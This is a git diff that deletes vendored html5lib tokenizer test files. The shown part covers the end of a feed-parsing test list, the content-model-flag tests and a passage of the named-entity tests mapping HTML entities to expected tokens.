-    {"type": "application/atom+xml", "input": "<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href=\"http://www.blogger.com/styles/atom.css\" type=\"text/css\"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/'><id>tag:blogger.com,1999:blog-10861780</id><updated>2007-07-27T12:38:50.888-07:00</updated><title type='text'>Official Google Blog</title><link rel='alternate' type='text/html' href='http://googleblog.blogspot.com/'/><link rel='next' type='application/atom+xml' href='http://googleblog.blogs"},
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-    {"type": "application/atom+xml", "input": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<feed xmlns=\"http://www.w3.org/2005/Atom\" xmlns:dc=\"http://purl.org/dc/elements/1.1/\" xmlns:thr=\"http://purl.org/syndication/thread/1.0\">\n    <title>Atlas Shrugs</title>\n    <link rel=\"self\" type=\"application/atom+xml\" href=\"http://atlasshrugs2000.typepad.com/atlas_shrugs/atom.xml\" />\n    <link rel=\"alternate\" type=\"text/html\" href=\"http://atlasshrugs2000.typepad.com/atlas_shrugs/\" />\n    <id>tag:typepad.com,2003:weblog-132946</id>\n    <updated>2007-08-15T16:07:34-04"},
-    {"type": "application/atom+xml", "input": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\r\n<?xml-stylesheet href=\"http://feeds.feedburner.com/~d/styles/atom10full.xsl\" type=\"text/xsl\" media=\"screen\"?><?xml-stylesheet href=\"http://feeds.feedburner.com/~d/styles/itemcontent.css\" type=\"text/css\" media=\"screen\"?><feed xmlns=\"http://www.w3.org/2005/Atom\" xmlns:dc=\"http://purl.org/dc/elements/1.1/\" xmlns:thr=\"http://purl.org/syndication/thread/1.0\" xmlns:feedburner=\"http://rssnamespace.org/feedburner/ext/1.0\">\r\n    <title>Creating Passionate Users</title>\r\n  "},
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-    {"type": "application/rss+xml", "input": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\r\n<?xml-stylesheet href=\"http://feeds.feedburner.com/~d/styles/rss2full.xsl\" type=\"text/xsl\" media=\"screen\"?><?xml-stylesheet href=\"http://feeds.feedburner.com/~d/styles/itemcontent.css\" type=\"text/css\" media=\"screen\"?><rss xmlns:creativeCommons=\"http://backend.userland.com/creativeCommonsRssModule\" xmlns:feedburner=\"http://rssnamespace.org/feedburner/ext/1.0\" version=\"2.0\"><channel><title>Google Operating System</title><link>http://googlesystem.blogspot.com/</link>"},
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-    {"type": "text/html", "input": "<HTML>\n<HEAD>\n<TITLE>Moved Temporarily</TITLE>\n</HEAD>\n<BODY BGCOLOR=\"#FFFFFF\" TEXT=\"#000000\">\n<H1>Moved Temporarily</H1>\nThe document has moved <A HREF=\"http://feeds.feedburner.com/thesecretdiaryofstevejobs\">here</A>.\n</BODY>\n</HTML>\n"}
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\ No newline at end of file
diff --git a/attic/vendor/plugins/HTML5lib/testdata/tokenizer/contentModelFlags.test b/attic/vendor/plugins/HTML5lib/testdata/tokenizer/contentModelFlags.test
deleted file mode 100644
index fa3bb861..00000000
--- a/attic/vendor/plugins/HTML5lib/testdata/tokenizer/contentModelFlags.test
+++ /dev/null
@@ -1,48 +0,0 @@
-{"tests": [
-
-{"description":"PLAINTEXT content model flag",
-"contentModelFlags":["PLAINTEXT"],
-"input":"<head>&body;",
-"output":[["Character", "<head>&body;"]]},
-
-{"description":"End tag closing RCDATA or CDATA",
-"contentModelFlags":["RCDATA", "CDATA"],
-"lastStartTag":"bar",
-"input":"foo</bar>",
-"output":[["Character", "foo"], ["EndTag", "bar"]]},
-
-{"description":"End tag closing RCDATA or CDATA (case-insensitivity)",
-"contentModelFlags":["RCDATA", "CDATA"],
-"lastStartTag":"bar",
-"input":"foo</bAr>",
-"output":[["Character", "foo"], ["EndTag", "bar"]]},
-
-{"description":"End tag with incorrect name in RCDATA or CDATA",
-"contentModelFlags":["RCDATA", "CDATA"],
-"lastStartTag":"baz",
-"input":"</foo>bar</baz>",
-"output":[["Character", "</foo>bar"], ["EndTag", "baz"]]},
-
-{"description":"End tag with incorrect name in RCDATA or CDATA (starting like correct name)",
-"contentModelFlags":["RCDATA", "CDATA"],
-"lastStartTag":"baz",
-"input":"</foo>bar</bazaar>",
-"output":[["Character", "</foo>bar</bazaar>"]]},
-
-{"description":"End tag closing RCDATA or CDATA, switching back to PCDATA",
-"contentModelFlags":["RCDATA", "CDATA"],
-"lastStartTag":"bar",
-"input":"foo</bar></baz>",
-"output":[["Character", "foo"], ["EndTag", "bar"], ["EndTag", "baz"]]},
-
-{"description":"CDATA w/ something looking like an entity",
-"contentModelFlags":["CDATA"],
-"input":"&foo;",
-"output":[["Character", "&foo;"]]},
-
-{"description":"RCDATA w/ an entity",
-"contentModelFlags":["RCDATA"],
-"input":"&lt;",
-"output":[["Character", "<"]]}
-
-]}
diff --git a/attic/vendor/plugins/HTML5lib/testdata/tokenizer/entities.test b/attic/vendor/plugins/HTML5lib/testdata/tokenizer/entities.test
deleted file mode 100644
index 1a4422b4..00000000
--- a/attic/vendor/plugins/HTML5lib/testdata/tokenizer/entities.test
+++ /dev/null
@@ -1,2339 +0,0 @@
-{"tests": [
-
-{"description": "Undefined named entity in attribute value ending in semicolon and whose name starts with a known entity name.",
-"input":"<h a='&noti;'>",
-"output": ["ParseError", ["StartTag", "h", {"a": "&noti;"}]]},
-
-{"description": "Named entity: AElig with a semi-colon.",
-"input":"&AElig;",
-"output": [["Character", "\u00C6"]]},
-
-{"description": "Named entity: AElig without a semi-colon.",
-"input":"&AElig",
-"output": ["ParseError", ["Character", "\u00C6"]]},
-
-{"description": "Named entity: AMP with a semi-colon.",
-"input":"&AMP;",
-"output": [["Character", "\u0026"]]},
-
-{"description": "Named entity: AMP without a semi-colon.",
-"input":"&AMP",
-"output": ["ParseError", ["Character", "\u0026"]]},
-
-{"description": "Named entity: Aacute with a semi-colon.",
-"input":"&Aacute;",
-"output": [["Character", "\u00C1"]]},
-
-{"description": "Named entity: Aacute without a semi-colon.",
-"input":"&Aacute",
-"output": ["ParseError", ["Character", "\u00C1"]]},
-
-{"description": "Named entity: Acirc with a semi-colon.",
-"input":"&Acirc;",
-"output": [["Character", "\u00C2"]]},
-
-{"description": "Named entity: Acirc without a semi-colon.",
-"input":"&Acirc",
-"output": ["ParseError", ["Character", "\u00C2"]]},
-
-{"description": "Named entity: Agrave with a semi-colon.",
-"input":"&Agrave;",
-"output": [["Character", "\u00C0"]]},
-
-{"description": "Named entity: Agrave without a semi-colon.",
-"input":"&Agrave",
-"output": ["ParseError", ["Character", "\u00C0"]]},
-
-{"description": "Named entity: Alpha with a semi-colon.",
-"input":"&Alpha;",
-"output": [["Character", "\u0391"]]},
-
-{"description": "Named entity: Aring with a semi-colon.",
-"input":"&Aring;",
-"output": [["Character", "\u00C5"]]},
-
-{"description": "Named entity: Aring without a semi-colon.",
-"input":"&Aring",
-"output": ["ParseError", ["Character", "\u00C5"]]},
-
-{"description": "Named entity: Atilde with a semi-colon.",
-"input":"&Atilde;",
-"output": [["Character", "\u00C3"]]},
-
-{"description": "Named entity: Atilde without a semi-colon.",
-"input":"&Atilde",
-"output": ["ParseError", ["Character", "\u00C3"]]},
-
-{"description": "Named entity: Auml with a semi-colon.",
-"input":"&Auml;",
-"output": [["Character", "\u00C4"]]},
-
-{"description": "Named entity: Auml without a semi-colon.",
-"input":"&Auml",
-"output": ["ParseError", ["Character", "\u00C4"]]},
-
-{"description": "Named entity: Beta with a semi-colon.",
-"input":"&Beta;",
-"output": [["Character", "\u0392"]]},
-
-{"description": "Named entity: COPY with a semi-colon.",
-"input":"&COPY;",
-"output": [["Character", "\u00A9"]]},
-
-{"description": "Named entity: COPY without a semi-colon.",
-"input":"&COPY",
-"output": ["ParseError", ["Character", "\u00A9"]]},
-
-{"description": "Named entity: Ccedil with a semi-colon.",
-"input":"&Ccedil;",
-"output": [["Character", "\u00C7"]]},
-
-{"description": "Named entity: Ccedil without a semi-colon.",
-"input":"&Ccedil",
-"output": ["ParseError", ["Character", "\u00C7"]]},
-
-{"description": "Named entity: Chi with a semi-colon.",
-"input":"&Chi;",
-"output": [["Character", "\u03A7"]]},
-
-{"description": "Named entity: Dagger with a semi-colon.",
-"input":"&Dagger;",
-"output": [["Character", "\u2021"]]},
-
-{"description": "Named entity: Delta with a semi-colon.",
-"input":"&Delta;",
-"output": [["Character", "\u0394"]]},
-
-{"description": "Named entity: ETH with a semi-colon.",
-"input":"&ETH;",
-"output": [["Character", "\u00D0"]]},
-
-{"description": "Named entity: ETH without a semi-colon.",
-"input":"&ETH",
-"output": ["ParseError", ["Character", "\u00D0"]]},
-
-{"description": "Named entity: Eacute with a semi-colon.",
-"input":"&Eacute;",
-"output": [["Character", "\u00C9"]]},
-
-{"description": "Named entity: Eacute without a semi-colon.",
-"input":"&Eacute",
-"output": ["ParseError", ["Character", "\u00C9"]]},
-
-{"description": "Named entity: Ecirc with a semi-colon.",
-"input":"&Ecirc;",
-"output": [["Character", "\u00CA"]]},
-
-{"description": "Named entity: Ecirc without a semi-colon.",
-"input":"&Ecirc",
-"output": ["ParseError", ["Character", "\u00CA"]]},
-
-{"description": "Named entity: Egrave with a semi-colon.",
-"input":"&Egrave;",
-"output": [["Character", "\u00C8"]]},
-
-{"description": "Named entity: Egrave without a semi-colon.",
-"input":"&Egrave",
-"output": ["ParseError", ["Character", "\u00C8"]]},
-
-{"description": "Named entity: Epsilon with a semi-colon.",
-"input":"&Epsilon;",
-"output": [["Character", "\u0395"]]},
-
-{"description": "Named entity: Eta with a semi-colon.",
-"input":"&Eta;",
-"output": [["Character", "\u0397"]]},
-
-{"description": "Named entity: Euml with a semi-colon.",
-"input":"&Euml;",
-"output": [["Character", "\u00CB"]]},
-
-{"description": "Named entity: Euml without a semi-colon.",
-"input":"&Euml",
-"output": ["ParseError", ["Character", "\u00CB"]]},
-
-{"description": "Named entity: GT with a semi-colon.",
-"input":"&GT;",
-"output": [["Character", "\u003E"]]},
-
-{"description": "Named entity: GT without a semi-colon.",
-"input":"&GT",
-"output": ["ParseError", ["Character", "\u003E"]]},
-
-{"description": "Named entity: Gamma with a semi-colon.",
-"input":"&Gamma;",
-"output": [["Character", "\u0393"]]},
-
-{"description": "Named entity: Iacute with a semi-colon.",
-"input":"&Iacute;",
-"output": [["Character", "\u00CD"]]},
-
-{"description": "Named entity: Iacute without a semi-colon.",
-"input":"&Iacute",
-"output": ["ParseError", ["Character", "\u00CD"]]},
-
-{"description": "Named entity: Icirc with a semi-colon.",
-"input":"&Icirc;",
-"output": [["Character", "\u00CE"]]},
-
-{"description": "Named entity: Icirc without a semi-colon.",
-"input":"&Icirc",
-"output": ["ParseError", ["Character", "\u00CE"]]},
-
-{"description": "Named entity: Igrave with a semi-colon.",
-"input":"&Igrave;",
-"output": [["Character", "\u00CC"]]},
-
-{"description": "Named entity: Igrave without a semi-colon.",
-"input":"&Igrave",
-"output": ["ParseError", ["Character", "\u00CC"]]},
-
-{"description": "Named entity: Iota with a semi-colon.",
-"input":"&Iota;",
-"output": [["Character", "\u0399"]]},
-
-{"description": "Named entity: Iuml with a semi-colon.",
-"input":"&Iuml;",
-"output": [["Character", "\u00CF"]]},
-
-{"description": "Named entity: Iuml without a semi-colon.",
-"input":"&Iuml",
-"output": ["ParseError", ["Character", "\u00CF"]]},
-
-{"description": "Named entity: Kappa with a semi-colon.",
-"input":"&Kappa;",
-"output": [["Character", "\u039A"]]},
-
-{"description": "Named entity: LT with a semi-colon.",
-"input":"&LT;",
-"output": [["Character", "\u003C"]]},
-
-{"description": "Named entity: LT without a semi-colon.",
-"input":"&LT",
-"output": ["ParseError", ["Character", "\u003C"]]},
-
-{"description": "Named entity: Lambda with a semi-colon.",
-"input":"&Lambda;",
-"output": [["Character", "\u039B"]]},
-
-{"description": "Named entity: Mu with a semi-colon.",
-"input":"&Mu;",
-"output": [["Character", "\u039C"]]},
-
-{"description": "Named entity: Ntilde with a semi-colon.",
-"input":"&Ntilde;",
-"output": [["Character", "\u00D1"]]},
-
-{"description": "Named entity: Ntilde without a semi-colon.",
-"input":"&Ntilde",
-"output": ["ParseError", ["Character", "\u00D1"]]},
-
-{"description": "Named entity: Nu with a semi-colon.",
-"input":"&Nu;",
-"output": [["Character", "\u039D"]]},
-
-{"description": "Named entity: OElig with a semi-colon.",
-"input":"&OElig;",
-"output": [["Character", "\u0152"]]},
-
-{"description": "Named entity: Oacute with a semi-colon.",
-"input":"&Oacute;",
-"output": [["Character", "\u00D3"]]},
-
-{"description": "Named entity: Oacute without a semi-colon.",
-"input":"&Oacute",
-"output": ["ParseError", ["Character", "\u00D3"]]},
-
-{"description": "Named entity: Ocirc with a semi-colon.",
-"input":"&Ocirc;",
-"output": [["Character", "\u00D4"]]},
-
-{"description": "Named entity: Ocirc without a semi-colon.",
-"input":"&Ocirc",
-"output": ["ParseError", ["Character", "\u00D4"]]},
-
-{"description": "Named entity: Ograve with a semi-colon.",
-"input":"&Ograve;",
-"output": [["Character", "\u00D2"]]},
-
-{"description": "Named entity: Ograve without a semi-colon.",
-"input":"&Ograve",
-"output": ["ParseError", ["Character", "\u00D2"]]},
-
-{"description": "Named entity: Omega with a semi-colon.",
-"input":"&Omega;",
-"output": [["Character", "\u03A9"]]},
-
-{"description": "Named entity: Omicron with a semi-colon.",
-"input":"&Omicron;",
-"output": [["Character", "\u039F"]]},
-
-{"description": "Named entity: Oslash with a semi-colon.",
-"input":"&Oslash;",
-"output": [["Character", "\u00D8"]]},
-
-{"description": "Named entity: Oslash without a semi-colon.",
-"input":"&Oslash",
-"output": ["ParseError", ["Character", "\u00D8"]]},
-
-{"description": "Named entity: Otilde with a semi-colon.",
-"input":"&Otilde;",
-"output": [["Character", "\u00D5"]]},
-
-{"description": "Named entity: Otilde without a semi-colon.",
-"input":"&Otilde",
-"output": ["ParseError", ["Character", "\u00D5"]]},
-
-{"description": "Named entity: Ouml with a semi-colon.",
-"input":"&Ouml;",
-"output": [["Character", "\u00D6"]]},
-
-{"description": "Named entity: Ouml without a semi-colon.",
-"input":"&Ouml",
-"output": ["ParseError", ["Character", "\u00D6"]]},
-
-{"description": "Named entity: Phi with a semi-colon.",
-"input":"&Phi;",
-"output": [["Character", "\u03A6"]]},
-
-{"description": "Named entity: Pi with a semi-colon.",
-"input":"&Pi;",
-"output": [["Character", "\u03A0"]]},
-
-{"description": "Named entity: Prime with a semi-colon.",
-"input":"&Prime;",
-"output": [["Character", "\u2033"]]},
-
-{"description": "Named entity: Psi with a semi-colon.",
-"input":"&Psi;",
-"output": [["Character", "\u03A8"]]},
-
-{"description": "Named entity: QUOT with a semi-colon.",
-"input":"&QUOT;",
-"output": [["Character", "\u0022"]]},
-
-{"description": "Named entity: QUOT without a semi-colon.",
-"input":"&QUOT",
-"output": ["ParseError", ["Character", "\u0022"]]},
-
-{"description": "Named entity: REG with a semi-colon.",
-"input":"&REG;",
-"output": [["Character", "\u00AE"]]},
-
-{"description": "Named entity: REG without a semi-colon.",
-"input":"&REG",
-"output": ["ParseError", ["Character", "\u00AE"]]},
-
-{"description": "Named entity: Rho with a semi-colon.",
-"input":"&Rho;",
-"output": [["Character", "\u03A1"]]},
-
-{"description": "Named entity: Scaron with a semi-colon.",
-"input":"&Scaron;",
-"output": [["Character", "\u0160"]]},
-
-{"description": "Named entity: Sigma with a semi-colon.",
-"input":"&Sigma;",
-"output": [["Character", "\u03A3"]]},
-
-{"description": "Named entity: THORN with a semi-colon.",
-"input":"&THORN;",
-"output": [["Character", "\u00DE"]]},
-
-{"description": "Named entity: THORN without a semi-colon.",
-"input":"&THORN",
-"output": ["ParseError", ["Character", "\u00DE"]]},
-
-{"description": "Named entity: TRADE with a semi-colon.",
-"input":"&TRADE;",
-"output": [["Character", "\u2122"]]},
-
-{"description": "Named entity: Tau with a semi-colon.",
-"input":"&Tau;",
-"output": [["Character", "\u03A4"]]},
-
-{"description": "Named entity: Theta with a semi-colon.",
-"input":"&Theta;",
-"output": [["Character", "\u0398"]]},
-
-{"description": "Named entity: Uacute with a semi-colon.",
-"input":"&Uacute;",
-"output": [["Character", "\u00DA"]]},
-
-{"description": "Named entity: Uacute without a semi-colon.",
-"input":"&Uacute",
-"output": ["ParseError", ["Character", "\u00DA"]]},
-
-{"description": "Named entity: Ucirc with a semi-colon.",
-"input":"&Ucirc;",
-"output": [["Character", "\u00DB"]]},
-
-{"description": "Named entity: Ucirc without a semi-colon.",
-"input":"&Ucirc",
-"output": ["ParseError", ["Character", "\u00DB"]]},
-
-{"description": "Named entity: Ugrave with a semi-colon.",
-"input":"&Ugrave;",
-"output": [["Character", "\u00D9"]]},
-
-{"description": "Named entity: Ugrave without a semi-colon.",
-"input":"&Ugrave",
-"output": ["ParseError", ["Character", "\u00D9"]]},
-
-{"description": "Named entity: Upsilon with a semi-colon.",
-"input":"&Upsilon;",
-"output": [["Character", "\u03A5"]]},
-
-{"description": "Named entity: Uuml with a semi-colon.",
-"input":"&Uuml;",
-"output": [["Character", "\u00DC"]]},
-
-{"description": "Named entity: Uuml without a semi-colon.",
-"input":"&Uuml",
-"output": ["ParseError", ["Character", "\u00DC"]]},
-
-{"description": "Named entity: Xi with a semi-colon.",
-"input":"&Xi;",
-"output": [["Character", "\u039E"]]},
-
-{"description": "Named entity: Yacute with a semi-colon.",
-"input":"&Yacute;",
-"output": [["Character", "\u00DD"]]},
-
-{"description": "Named entity: Yacute without a semi-colon.",
-"input":"&Yacute",
-"output": ["ParseError", ["Character", "\u00DD"]]},
-
-{"description": "Named entity: Yuml with a semi-colon.",
-"input":"&Yuml;",
-"output": [["Character", "\u0178"]]},
-
-{"description": "Named entity: Zeta with a semi-colon.",
-"input":"&Zeta;",
-"output": [["Character", "\u0396"]]},
-
-{"description": "Named entity: aacute with a semi-colon.",
-"input":"&aacute;",
-"output": [["Character", "\u00E1"]]},
-
-{"description": "Named entity: aacute without a semi-colon.",
-"input":"&aacute",
-"output": ["ParseError", ["Character", "\u00E1"]]},
-
-{"description": "Named entity: acirc with a semi-colon.",
-"input":"&acirc;",
-"output": [["Character", "\u00E2"]]},
-
-{"description": "Named entity: acirc without a semi-colon.",
-"input":"&acirc",
-"output": ["ParseError", ["Character", "\u00E2"]]},
-
-{"description": "Named entity: acute with a semi-colon.",
-"input":"&acute;",
-"output": [["Character", "\u00B4"]]},
-
-{"description": "Named entity: acute without a semi-colon.",
-"input":"&acute",
-"output": ["ParseError", ["Character", "\u00B4"]]},
-
-{"description": "Named entity: aelig with a semi-colon.",
-"input":"&aelig;",
-"output": [["Character", "\u00E6"]]},
-
-{"description": "Named entity: aelig without a semi-colon.",
-"input":"&aelig",
-"output": ["ParseError", ["Character", "\u00E6"]]},
-
-{"description": "Named entity: agrave with a semi-colon.",
-"input":"&agrave;",
-"output": [["Character", "\u00E0"]]},
-
-{"description": "Named entity: agrave without a semi-colon.",
-"input":"&agrave",
-"output": ["ParseError", ["Character", "\u00E0"]]},
-
-{"description": "Named entity: alefsym with a semi-colon.",
-"input":"&alefsym;",
-"output": [["Character", "\u2135"]]},
-
-{"description": "Named entity: alpha with a semi-colon.",
-"input":"&alpha;",
-"output": [["Character", "\u03B1"]]},
-
-{"description": "Named entity: amp with a semi-colon.",
-"input":"&amp;",
-"output": [["Character", "\u0026"]]},
-
-{"description": "Named entity: amp without a semi-colon.",
-"input":"&amp",
-"output": ["ParseError", ["Character", "\u0026"]]},
-
-{"description": "Named entity: and with a semi-colon.",
-"input":"&and;",
-"output": [["Character", "\u2227"]]},
-
-{"description": "Named entity: ang with a semi-colon.",
-"input":"&ang;",
-"output": [["Character", "\u2220"]]},
-
-{"description": "Named entity: apos with a semi-colon.",
-"input":"&apos;",
-"output": [["Character", "\u0027"]]},
-
-{"description": "Named entity: aring with a semi-colon.",
-"input":"&aring;",
-"output": [["Character", "\u00E5"]]},
-
-{"description": "Named entity: aring without a semi-colon.",
-"input":"&aring",
-"output": ["ParseError", ["Character", "\u00E5"]]},
-
-{"description": "Named entity: asymp with a semi-colon.",
-"input":"&asymp;",
-"output": [["Character", "\u2248"]]},
-
-{"description": "Named entity: atilde with a semi-colon.",
-"input":"&atilde;",
-"output": [["Character", "\u00E3"]]},
-
-{"description": "Named entity: atilde without a semi-colon.",
-"input":"&atilde",
-"output": ["ParseError", ["Character", "\u00E3"]]},
-
-{"description": "Named entity: auml with a semi-colon.",
-"input":"&auml;",
-"output": [["Character", "\u00E4"]]},
-
-{"description": "Named entity: auml without a semi-colon.",
-"input":"&auml",
-"output": ["ParseError", ["Character", "\u00E4"]]},
-
-{"description": "Named entity: bdquo with a semi-colon.",
-"input":"&bdquo;",
-"output": [["Character", "\u201E"]]},
-
-{"description": "Named entity: beta with a semi-colon.",
-"input":"&beta;",
-"output": [["Character", "\u03B2"]]},
-
-{"description": "Named entity: brvbar with a semi-colon.",
-"input":"&brvbar;",
-"output": [["Character", "\u00A6"]]},
-
-{"description": "Named entity: brvbar without a semi-colon.",
-"input":"&brvbar",
-"output": ["ParseError", ["Character", "\u00A6"]]},
-
-{"description": "Named entity: bull with a semi-colon.",
-"input":"&bull;",
-"output": [["Character", "\u2022"]]},
-
-{"description": "Named entity: cap with a semi-colon.",
-"input":"&cap;",
-"output": [["Character", "\u2229"]]},
-
-{"description": "Named entity: ccedil with a semi-colon.",
-"input":"&ccedil;",
-"output": [["Character", "\u00E7"]]},
-
-{"description": "Named entity: ccedil without a semi-colon.",
-"input":"&ccedil",
-"output": ["ParseError", ["Character", "\u00E7"]]},
-
-{"description": "Named entity: cedil with a semi-colon.",
-"input":"&cedil;",
-"output": [["Character", "\u00B8"]]},
-
-{"description": "Named entity: cedil without a semi-colon.",
-"input":"&cedil",
-"output": ["ParseError", ["Character", "\u00B8"]]},
-
-{"description": "Named entity: cent with a semi-colon.",
-"input":"&cent;",
-"output": [["Character", "\u00A2"]]},
-
-{"description": "Named entity: cent without a semi-colon.",
-"input":"&cent",
-"output": ["ParseError", ["Character", "\u00A2"]]},
-
-{"description": "Named entity: chi with a semi-colon.",
-"input":"&chi;",
-"output": [["Character", "\u03C7"]]},
-
-{"description": "Named entity: circ with a semi-colon.",
-"input":"&circ;",
-"output": [["Character", "\u02C6"]]},
-
-{"description": "Named entity: clubs with a semi-colon.",
-"input":"&clubs;",
-"output": [["Character", "\u2663"]]},
-
-{"description": "Named entity: cong with a semi-colon.",
-"input":"&cong;",
-"output": [["Character", "\u2245"]]},
-
-{"description": "Named entity: copy with a semi-colon.",
-"input":"&copy;",
-"output": [["Character", "\u00A9"]]},
-
-{"description": "Named entity: copy without a semi-colon.",
-"input":"&copy",
-"output": ["ParseError", ["Character", "\u00A9"]]},
-
-{"description": "Named entity: crarr with a semi-colon.",
-"input":"&crarr;",
-"output": [["Character", "\u21B5"]]},
-
-{"description": "Named entity: cup with a semi-colon.",
-"input":"&cup;",
-"output": [["Character", "\u222A"]]},
-
-{"description": "Named entity: curren with a semi-colon.",
-"input":"&curren;",
-"output": [["Character", "\u00A4"]]},
-
-{"description": "Named entity: curren without a semi-colon.",
-"input":"&curren",
-"output": ["ParseError", ["Character", "\u00A4"]]},
-
-{"description": "Named entity: dArr with a semi-colon.",
-"input":"&dArr;",
-"output": [["Character", "\u21D3"]]},
-
-{"description": "Named entity: dagger with a semi-colon.",
-"input":"&dagger;",
-"output": [["Character", "\u2020"]]},
-
-{"description": "Named entity: darr with a semi-colon.",
-"input":"&darr;",
-"output": [["Character", "\u2193"]]},
-
-{"description": "Named entity: deg with a semi-colon.",
-"input":"&deg;",
-"output": [["Character", "\u00B0"]]},
-
-{"description": "Named entity: deg without a semi-colon.",
-"input":"&deg",
-"output": ["ParseError", ["Character", "\u00B0"]]},
-
-{"description": "Named entity: delta with a semi-colon.",
-"input":"&delta;",
-"output": [["Character", "\u03B4"]]},
-
-{"description": "Named entity: diams with a semi-colon.",
-"input":"&diams;",
-"output": [["Character", "\u2666"]]},
-
-{"description": "Named entity: divide with a semi-colon.",
-"input":"&divide;",
-"output": [["Character", "\u00F7"]]},
-
-{"description": "Named entity: divide without a semi-colon.",
-"input":"&divide",
-"output": ["ParseError", ["Character", "\u00F7"]]},
-
-{"description": "Named entity: eacute with a semi-colon.",
-"input":"&eacute;",
-"output": [["Character", "\u00E9"]]},
-
-{"description": "Named entity: eacute without a semi-colon.",
-"input":"&eacute",
-"output": ["ParseError", ["Character", "\u00E9"]]},
-
-{"description": "Named entity: ecirc with a semi-colon.",
-"input":"&ecirc;",
-"output": [["Character", "\u00EA"]]},
-
-{"description": "Named entity: ecirc without a semi-colon.",
-"input":"&ecirc",
-"output": ["ParseError", ["Character", "\u00EA"]]},
-
-{"description": "Named entity: egrave with a semi-colon.",
-"input":"&egrave;",
-"output": [["Character", "\u00E8"]]},
-
-{"description": "Named entity: egrave without a semi-colon.",
-"input":"&egrave",
-"output": ["ParseError", ["Character", "\u00E8"]]},
-
-{"description": "Named entity: empty with a semi-colon.",
-"input":"&empty;",
-"output": [["Character", "\u2205"]]},
-
-{"description": "Named entity: emsp with a semi-colon.",
-"input":"&emsp;",
-"output": [["Character", "\u2003"]]},
-
-{"description": "Named entity: ensp with a semi-colon.",
-"input":"&ensp;",
-"output": [["Character", "\u2002"]]},
-
-{"description": "Named entity: epsilon with a semi-colon.",
-"input":"&epsilon;",
-"output": [["Character", "\u03B5"]]},
-
-{"description": "Named entity: equiv with a semi-colon.",
-"input":"&equiv;",
-"output": [["Character", "\u2261"]]},
-
-{"description": "Named entity: eta with a semi-colon.",
-"input":"&eta;",
-"output": [["Character", "\u03B7"]]},
-
-{"description": "Named entity: eth with a semi-colon.",
-"input":"&eth;",
-"output": [["Character", "\u00F0"]]},
-
-{"description": "Named entity: eth without a semi-colon.",
-"input":"&eth",
-"output": ["ParseError", ["Character", "\u00F0"]]},
-
-{"description": "Named entity: euml with a semi-colon.",
-"input":"&euml;",
-"output": [["Character", "\u00EB"]]},
-
-{"description": "Named entity: euml without a semi-colon.",
-"input":"&euml",
-"output": ["ParseError", ["Character", "\u00EB"]]},
-
-{"description": "Named entity: euro with a semi-colon.",
-"input":"&euro;",
-"output": [["Character", "\u20AC"]]},
-
-{"description": "Named entity: exist with a semi-colon.",
-"input":"&exist;",
-"output": [["Character", "\u2203"]]},
-
-{"description": "Named entity: fnof with a semi-colon.",
-"input":"&fnof;",
-"output": [["Character", "\u0192"]]},
-
-{"description": "Named entity: forall with a semi-colon.",
-"input":"&forall;",
-"output": [["Character", "\u2200"]]},
-
-{"description": "Named entity: frac12 with a semi-colon.",
-"input":"&frac12;",
-"output": [["Character", "\u00BD"]]},
-
-{"description": "Named entity: frac12 without a semi-colon.",
-"input":"&frac12",
-"output": ["ParseError", ["Character", "\u00BD"]]},
-
-{"description": "Named entity: frac14 with a semi-colon.",
-"input":"&frac14;",
-"output": [["Character", "\u00BC"]]},
-
-{"description": "Named entity: frac14 without a semi-colon.",
-"input":"&frac14",
-"output": ["ParseError", ["Character", "\u00BC"]]},
-
-{"description": "Named entity: frac34 with a semi-colon.",
-"input":"&frac34;",
-"output": [["Character", "\u00BE"]]},
-
-{"description": "Named entity: frac34 without a semi-colon.",
-"input":"&frac34",
-"output": ["ParseError", ["Character", "\u00BE"]]},
-
-{"description": "Named entity: frasl with a semi-colon.",
-"input":"&frasl;",
-"output": [["Character", "\u2044"]]},
-
-{"description": "Named entity: gamma with a semi-colon.",
-"input":"&gamma;",
-"output": [["Character", "\u03B3"]]},
-
-{"description": "Named entity: ge with a semi-colon.",
-"input":"&ge;",
-"output": [["Character", "\u2265"]]},
-
-{"description": "Named entity: gt with a semi-colon.",
-"input":"&gt;",
-"output": [["Character", "\u003E"]]},
-
-{"description": "Named entity: gt without a semi-colon.",
-"input":"&gt",
-"output": ["ParseError", ["Character", "\u003E"]]},
-
-{"description": "Named entity: hArr with a semi-colon.",
-"input":"&hArr;",
-"output": [["Character", "\u21D4"]]},
-
-{"description": "Named entity: harr with a semi-colon.",
-"input":"&harr;",
-"output": [["Character", "\u2194"]]},
-
-{"description": "Named entity: hearts with a semi-colon.",
-"input":"&hearts;",
-"output": [["Character", "\u2665"]]},
-
-{"description": "Named entity: hellip with a semi-colon.",
-"input":"&hellip;",
-"output": [["Character", "\u2026"]]},
-
-{"description": "Named entity: iacute with a semi-colon.",
-"input":"&iacute;",
-"output": [["Character", "\u00ED"]]},
-
-{"description": "Named entity: iacute without a semi-colon.",
-"input":"&iacute",
-"output": ["ParseError", ["Character", "\u00ED"]]},
-
-{"description": "Named entity: icirc with a semi-colon.",
-"input":"&icirc;",
-"output": [["Character", "\u00EE"]]},
-
-{"description": "Named entity: icirc without a semi-colon.",
-"input":"&icirc",
-"output": ["ParseError", ["Character", "\u00EE"]]},
-
-{"description": "Named entity: iexcl with a semi-colon.",
-"input":"&iexcl;",
-"output": [["Character", "\u00A1"]]},
-
-{"description": "Named entity: iexcl without a semi-colon.",
-"input":"&iexcl",
-"output": ["ParseError", ["Character", "\u00A1"]]},
-
-{"description": "Named entity: igrave with a semi-colon.",
-"input":"&igrave;",
-"output": [["Character", "\u00EC"]]},
-
-{"description": "Named entity: igrave without a semi-colon.",
-"input":"&igrave",
-"output": ["ParseError", ["Character", "\u00EC"]]},
-
-{"description": "Named entity: image with a semi-colon.",
-"input":"&image;",
-"output": [["Character", "\u2111"]]},
-
-{"description": "Named entity: infin with a semi-colon.",
-"input":"&infin;",
-"output": [["Character", "\u221E"]]},
-
-{"description": "Named entity: int with a semi-colon.",
-"input":"&int;",
-"output": [["Character", "\u222B"]]},
-
-{"description": "Named entity: iota with a semi-colon.",
-"input":"&iota;",
-"output": [["Character", "\u03B9"]]},
-
-{"description": "Named entity: iquest with a semi-colon.",
-"input":"&iquest;",
-"output": [["Character", "\u00BF"]]},
-
-{"description": "Named entity: iquest without a semi-colon.",
-"input":"&iquest",
